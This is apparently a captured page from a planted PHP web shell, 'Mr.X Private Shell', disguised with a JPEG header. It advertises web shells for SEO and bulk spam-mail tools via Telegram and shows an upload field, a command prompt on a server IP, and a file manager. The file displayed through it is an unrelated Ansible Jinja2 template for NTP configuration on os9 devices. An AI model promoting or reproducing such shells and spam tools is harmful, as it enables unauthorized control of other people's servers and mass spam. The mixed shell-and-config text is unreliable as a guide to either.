����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
#jinja2: trim_blocks: True,lstrip_blocks: True
{#############################################
Purpose:
Configure NTP commands for os9 Devices
os9_ntp:
      server:
        - ip: 2.2.2.2
          vrf:
            - test
            - management
          state: present
###################################################}
{% if os9_ntp is defined and os9_ntp %}

{% for key,value in os9_ntp.items() %}
  {% if key == "server" and value %}
    {% for item in value %}
      {% if item.ip is defined and item.ip %}
        {% if item.state is defined and item.state == "absent" %}
          {% if item.vrf is defined and item.vrf %}
            {% for vrf_name in item.vrf %}
no ntp server vrf {{ vrf_name }} {{ item.ip }}
            {% endfor %}
          {% else %}
no ntp server {{ item.ip }}
          {% endif %}
        {% else %}
          {% if item.vrf is defined and item.vrf %}
            {% for vrf_name in item.vrf %}
ntp server vrf {{ vrf_name }} {{ item.ip }}
            {% endfor %}
          {% else %}
ntp server {{ item.ip }}
          {% endif %}
        {% endif %}
      {% endif %}
    {% endfor %}
  {% endif %}

{% endfor %}
{% endif %}

Filemanager

Name Type Size Permission Actions
os9_ntp.j2 File 1.14 KB 0644